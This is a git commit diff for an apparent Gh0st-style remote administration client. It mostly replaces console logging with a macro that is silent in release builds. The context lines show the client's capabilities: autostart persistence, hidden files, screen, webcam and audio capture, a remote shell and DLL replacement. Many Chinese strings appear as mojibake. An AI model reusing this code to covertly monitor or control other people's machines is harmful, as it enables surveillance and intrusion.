Update libraries and replace zlib with zstd #42

This commit is contained in:
yuanyuanxiang
2025-01-15 18:49:15 +08:00
parent 8ec3e83d31
commit 914eefbb23
29 changed files with 4790 additions and 2057 deletions

View File

@@ -71,7 +71,7 @@ CAudio::~CAudio()
waveInClose(m_hWaveIn); waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30); WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack) if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n"); Mprintf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
TerminateThread(m_Thread, -999); TerminateThread(m_Thread, -999);
m_Thread = NULL; m_Thread = NULL;
} }
@@ -194,7 +194,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
DispatchMessage(&Msg); DispatchMessage(&Msg);
} }
std::cout<<"waveInCallBack end\n"; Mprintf("waveInCallBack end\n");
This->m_hThreadCallBack = false; This->m_hThreadCallBack = false;
return 0XDEADAAAA; return 0XDEADAAAA;

View File

@@ -17,7 +17,7 @@ using namespace std;
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{ {
printf("new CAudioManager %p\n", this); Mprintf("new CAudioManager %p\n", this);
m_bIsWorking = FALSE; m_bIsWorking = FALSE;
m_AudioObject = NULL; m_AudioObject = NULL;
@@ -65,7 +65,7 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) //
Sleep(50); Sleep(50);
} }
cout<<"CAudioManager WorkThread end\n"; Mprintf("CAudioManager WorkThread end\n");
return 0; return 0;
} }
@@ -110,7 +110,7 @@ CAudioManager::~CAudioManager()
delete [] szPacket; delete [] szPacket;
szPacket = NULL; szPacket = NULL;
} }
printf("~CAudioManager %p\n", this); Mprintf("~CAudioManager %p\n", this);
} }
//USB //USB

View File

@@ -46,7 +46,7 @@ CCaptureVideo::~CCaptureVideo()
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{ {
printf("CCaptureVideo call Open\n"); Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_OK; HRESULT hResult = S_OK;
do do
{ {
@@ -123,7 +123,7 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
break; break;
} while (false); } while (false);
printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed"); Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
return hResult; return hResult;
} }

View File

@@ -109,7 +109,7 @@ int main(int argc, const char *argv[])
{ {
if (!SetSelfStart(argv[0], REG_NAME)) if (!SetSelfStart(argv[0], REG_NAME))
{ {
std::cout << "<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"; Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
} }
status = E_RUN; status = E_RUN;
@@ -127,18 +127,18 @@ int main(int argc, const char *argv[])
g_SETTINGS.SetServer(argv[1], atoi(argv[2])); g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
} }
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) { if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n"); Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
Sleep(3000); Sleep(3000);
return -1; return -1;
} }
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); Mprintf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45> // <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
g_hInstance = GetModuleHandle(NULL); g_hInstance = GetModuleHandle(NULL);
if (g_hInstance != NULL) { if (g_hInstance != NULL) {
std::cout << "HINSTANCE: " << g_hInstance << std::endl; Mprintf("HINSTANCE: %p\n", g_hInstance);
} else { } else {
std::cerr << "Failed to get HINSTANCE" << std::endl; Mprintf("Failed to get HINSTANCE!\n");
} }
do{ do{
@@ -225,12 +225,12 @@ void RunNewDll(const char* cmdLine) {
{ {
if (!DeleteFileA(oldFile.c_str())) if (!DeleteFileA(oldFile.c_str()))
{ {
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl; Mprintf("Error deleting file. Error code: %d\n", GetLastError());
ok = FALSE; ok = FALSE;
} }
} }
if (ok && !MoveFileA(path, oldFile.c_str())) { if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; Mprintf("Error removing file. Error code: %d\n", GetLastError());
if (_access(path, 0) != -1) if (_access(path, 0) != -1)
{ {
ok = FALSE; ok = FALSE;
@@ -240,15 +240,15 @@ void RunNewDll(const char* cmdLine) {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{ {
std::cout << "File created and set to hidden: " << oldFile << std::endl; Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
} }
} }
if (ok && !MoveFileA(newFile.c_str(), path)) { if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl; Mprintf("Error removing file. Error code: %d\n", GetLastError());
MoveFileA(oldFile.c_str(), path);// recover MoveFileA(oldFile.c_str(), path);// recover
} }
else if (ok) { else if (ok) {
std::cout << "Using new file: " << newFile << std::endl; Mprintf("Using new file: %s\n", newFile.c_str());
} }
} }
char cmd[1024]; char cmd[1024];
@@ -331,7 +331,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
Sleep(200); Sleep(200);
} }
cout<<"StartClient end\n"; Mprintf("StartClient end\n");
delete ClientObject; delete ClientObject;
g_bThreadExit = true; g_bThreadExit = true;

View File

@@ -92,9 +92,9 @@ inline string GetIPAddress(const char *hostName)
{ {
struct hostent *host = gethostbyname(hostName); struct hostent *host = gethostbyname(hostName);
#ifdef _DEBUG #ifdef _DEBUG
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6"); Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
for (int i = 0; host->h_addr_list[i]; ++i) for (int i = 0; host->h_addr_list[i]; ++i)
printf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i])); Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
#endif #endif
if (host == NULL || host->h_addr_list == NULL) if (host == NULL || host->h_addr_list == NULL)
return ""; return "";
@@ -147,7 +147,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL); (LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
} }
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n"; Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
m_bConnected = TRUE; m_bConnected = TRUE;
return TRUE; return TRUE;
} }
@@ -174,7 +174,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
if (iRet == 0) Sleep(50); if (iRet == 0) Sleep(50);
else else
{ {
printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError()); Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(This->m_exit_while_disconnect) if(This->m_exit_while_disconnect)
break; break;
@@ -196,7 +196,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
This->OnServerReceiving(szBuffer, iReceivedLength); This->OnServerReceiving(szBuffer, iReceivedLength);
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead) if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
{ {
printf("****** Recv bye bye ******\n"); Mprintf("****** Recv bye bye ******\n");
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern BOOL g_bExit; extern BOOL g_bExit;
g_bExit = This->m_Manager->m_bIsDead; g_bExit = This->m_Manager->m_bIsDead;
@@ -271,7 +271,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
m_DeCompressedBuffer.GetBufferLength()); m_DeCompressedBuffer.GetBufferLength());
} }
else{ else{
printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer; delete [] CompressedBuffer;
delete [] DeCompressedBuffer; delete [] DeCompressedBuffer;
throw "Bad Buffer"; throw "Bad Buffer";
@@ -280,17 +280,17 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
delete [] CompressedBuffer; delete [] CompressedBuffer;
delete [] DeCompressedBuffer; delete [] DeCompressedBuffer;
#if _DEBUG #if _DEBUG
printf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength); // Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
#endif #endif
} }
else { else {
printf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength); Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
break; break;
} }
} }
}catch(...) { }catch(...) {
m_CompressedBuffer.ClearBuffer(); m_CompressedBuffer.ClearBuffer();
printf("[ERROR] OnServerReceiving catch an error \n"); Mprintf("[ERROR] OnServerReceiving catch an error \n");
} }
} }
@@ -320,7 +320,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (Z_FAILED(iRet)) if (Z_FAILED(iRet))
{ {
printf("[ERROR] compress failed \n"); Mprintf("[ERROR] compress failed \n");
delete [] CompressedBuffer; delete [] CompressedBuffer;
return FALSE; return FALSE;
} }
@@ -412,7 +412,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
VOID IOCPClient::Disconnect() VOID IOCPClient::Disconnect()
{ {
std::cout<<"<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"; Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
CancelIo((HANDLE)m_sClientSocket); CancelIo((HANDLE)m_sClientSocket);
closesocket(m_sClientSocket); closesocket(m_sClientSocket);

View File

@@ -20,7 +20,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
printf("~CKernelManager begin\n"); Mprintf("~CKernelManager begin\n");
int i = 0; int i = 0;
for (i=0;i<MAX_THREADNUM;++i) for (i=0;i<MAX_THREADNUM;++i)
{ {
@@ -34,7 +34,7 @@ CKernelManager::~CKernelManager()
} }
} }
m_ulThreadCount = 0; m_ulThreadCount = 0;
printf("~CKernelManager end\n"); Mprintf("~CKernelManager end\n");
} }
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD> // <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
@@ -55,7 +55,7 @@ UINT CKernelManager::GetAvailableIndex() {
BOOL WriteBinaryToFile(const char* data, ULONGLONG size) BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
{ {
if (size > 32 * 1024 * 1024) { if (size > 32 * 1024 * 1024) {
std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl; Mprintf("WriteBinaryToFile fail: too large file size!!\n");
return FALSE; return FALSE;
} }
@@ -74,7 +74,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
if (!outFile) if (!outFile)
{ {
std::cerr << "Failed to open or create the file: " << filePath << std::endl; Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE; return FALSE;
} }
@@ -83,11 +83,11 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
if (outFile.good()) if (outFile.good())
{ {
std::cout << "Binary data written successfully to " << filePath << std::endl; Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
} }
else else
{ {
std::cerr << "Failed to write data to file." << std::endl; Mprintf("Failed to write data to file.\n");
outFile.close(); outFile.close();
return FALSE; return FALSE;
} }
@@ -97,7 +97,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN)) if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
{ {
std::cout << "File created and set to hidden: " << filePath << std::endl; Mprintf("File created and set to hidden: %s\n", filePath.c_str());
} }
return TRUE; return TRUE;
} }
@@ -107,7 +107,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
if ((m_ulThreadCount = GetAvailableIndex()) == -1) { if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
if (!isExit) { if (!isExit) {
printf("CKernelManager: The number of threads exceeds the limit.\n"); Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
return; return;
} }
} }
@@ -235,7 +235,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
OutputDebugStringA("======> Error operator\n"); OutputDebugStringA("======> Error operator\n");
char buffer[256] = {}; char buffer[256] = {};
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer)); strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
printf("!!! Unknown command: %s\n", buffer); Mprintf("!!! Unknown command: %s\n", buffer);
if (m_ulThreadCount != -1) { if (m_ulThreadCount != -1) {
delete m_hThread[m_ulThreadCount].p; delete m_hThread[m_ulThreadCount].p;
m_hThread[m_ulThreadCount].p = NULL; m_hThread[m_ulThreadCount].p = NULL;

View File

@@ -36,7 +36,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
{ {
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize); nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
}catch(...){ }catch(...){
printf("[ERROR] CManager::Send catch an error \n"); Mprintf("[ERROR] CManager::Send catch an error \n");
}; };
return nRet; return nRet;
} }

View File

@@ -19,7 +19,7 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(Cli
CRegisterManager::~CRegisterManager() CRegisterManager::~CRegisterManager()
{ {
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>\n"; Mprintf("CRegisterManager <20><><EFBFBD><EFBFBD>\n");
} }
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

View File

@@ -74,7 +74,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 <= sleep*4) ? s0*alpha : s0; s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0; c1 = 0;
#ifdef _DEBUG #ifdef _DEBUG
printf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0); Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
#endif #endif
} }
} else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С } else if (span > 0){ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݺ<EFBFBD>ʱ<EFBFBD><CAB1>s0<73>̣<EFBFBD><CCA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>Ϻû<CFBA><C3BB><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>С
@@ -83,7 +83,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 >= sleep/4) ? s0/alpha : s0; s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0; c2 = 0;
#ifdef _DEBUG #ifdef _DEBUG
printf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0); Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000./s0);
#endif #endif
} }
} }
@@ -92,7 +92,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
} }
} }
timeEndPeriod(1); timeEndPeriod(1);
cout<<"ScreenWorkThread Exit\n"; Mprintf("ScreenWorkThread Exit\n");
return 0; return 0;
} }
@@ -114,7 +114,7 @@ VOID CScreenManager::SendBitMapInfo()
CScreenManager::~CScreenManager() CScreenManager::~CScreenManager()
{ {
cout<<"ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n"; Mprintf("ScreenManager <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
m_bIsWorking = FALSE; m_bIsWorking = FALSE;

View File

@@ -28,7 +28,7 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN); int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight); m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h; m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
printf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight); Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom; m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
m_BitmapInfor_Full = new BITMAPINFO(); m_BitmapInfor_Full = new BITMAPINFO();

View File

@@ -126,7 +126,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
ReadFile(This->m_hReadPipeHandle, ReadFile(This->m_hReadPipeHandle,
szTotalBuffer, dwTotal, &dwReturn, NULL); szTotalBuffer, dwTotal, &dwReturn, NULL);
#ifdef _DEBUG #ifdef _DEBUG
printf("===> Input length= %d \n", This->m_nCmdLength); Mprintf("===> Input length= %d \n", This->m_nCmdLength);
#endif #endif
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength; const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
int length = int(dwReturn) - This->m_nCmdLength; int length = int(dwReturn) - This->m_nCmdLength;
@@ -136,7 +136,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
LocalFree(szTotalBuffer); LocalFree(szTotalBuffer);
} }
} }
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n"; Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
return 0; return 0;
} }

View File

@@ -10,17 +10,23 @@
#define USING_COMPRESS 1 #define USING_COMPRESS 1
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>ZLIB
#define USING_ZLIB 1 #define USING_ZLIB 0
#if !USING_ZLIB #if !USING_ZLIB
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4 // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 1 #define USING_LZ4 0
#endif #endif
#if _MSC_VER > 1000 #if _MSC_VER > 1000
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#ifdef _DEBUG
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
#else
#define Mprintf(format, ...)
#endif
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
#include "vld.h" #include "vld.h"
@@ -70,7 +76,7 @@ public:
~auto_tick() { stop(); } ~auto_tick() { stop(); }
__inline void stop() { __inline void stop() {
if (span != 0) { int s(this->time()); if (s > span)printf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; } if (span != 0) { int s(this->time()); if (s > span)Mprintf("[%s]ִ<><D6B4>ʱ<EFBFBD><CAB1>: [%d]ms.\n", func, s); span = 0; }
} }
}; };

View File

@@ -135,7 +135,7 @@ LPBYTE CSystemManager::GetProcessList()
CSystemManager::~CSystemManager() CSystemManager::~CSystemManager()
{ {
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n"; Mprintf("ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>\n");
} }
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable) BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)

View File

@@ -33,12 +33,12 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
g_IOCPClientObject = ClientObject; g_IOCPClientObject = ClientObject;
WaitForDialogOpen(); WaitForDialogOpen();
cout << "Talk <20><><EFBFBD><EFBFBD>\n"; Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
} }
CTalkManager::~CTalkManager() CTalkManager::~CTalkManager()
{ {
cout<<"Talk <20><><EFBFBD><EFBFBD>\n"; Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
} }
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

View File

@@ -35,7 +35,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
if (This->Initialize()) //ת<><D7AA>Initialize if (This->Initialize()) //ת<><D7AA>Initialize
{ {
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9> This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n"); Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
} }
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
@@ -58,7 +58,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
int span = sleep-(GetTickCount64() - dwLastScreen); int span = sleep-(GetTickCount64() - dwLastScreen);
Sleep(span > 0 ? span : 1); Sleep(span > 0 ? span : 1);
if (span < 0) if (span < 0)
printf("SendScreen Span = %d ms\n", span); Mprintf("SendScreen Span = %d ms\n", span);
dwLastScreen = GetTickCount64(); dwLastScreen = GetTickCount64();
if(FALSE == This->SendNextScreen()) if(FALSE == This->SendNextScreen())
break; break;
